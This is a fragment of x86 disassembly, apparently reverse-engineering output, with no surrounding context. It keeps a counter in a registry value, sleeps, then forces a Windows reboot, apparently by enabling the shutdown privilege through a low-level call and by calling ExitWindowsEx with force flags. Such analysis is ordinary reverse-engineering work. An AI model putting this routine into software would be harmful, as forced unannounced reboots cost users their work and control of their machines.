call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x405507
mov dword [esp + 0x3c], 4
lea eax, [esp + 0x3c]
push eax
lea ebx, [esp + 0x3c]
push ebx
push 0
push 0
push 0x40a3c6
push dword [esp + 0x54]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x405b88
mov eax, dword [esp + 0x38]
dec eax
test eax, eax
mov dword [esp + 0x38], eax
je 0x405b43
push 4
push ebx
push 4
push 0
push 0x40a3c6
push dword [esp + 0x54]
call sub.ADVAPI32.DLL_RegSetValueExA
jmp 0x405b88
push 0x40a3c6
push dword [esp + 0x44]
call sub.ADVAPI32.DLL_RegDeleteValueA
push 0x1388
call sub.KERNEL32.DLL_Sleep
cmp dword [0x40c0d0], 2
jne 0x405b7f
lea eax, [esp + 0x37]
push eax
push 0
push 1
push 0x13
call dword [0x40c220]
push 1
call dword [0x40c210]
jmp 0x405b88
push 0
push 6
call sub.USER32.dll_ExitWindowsEx
push dword [esp + 0x40]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x405507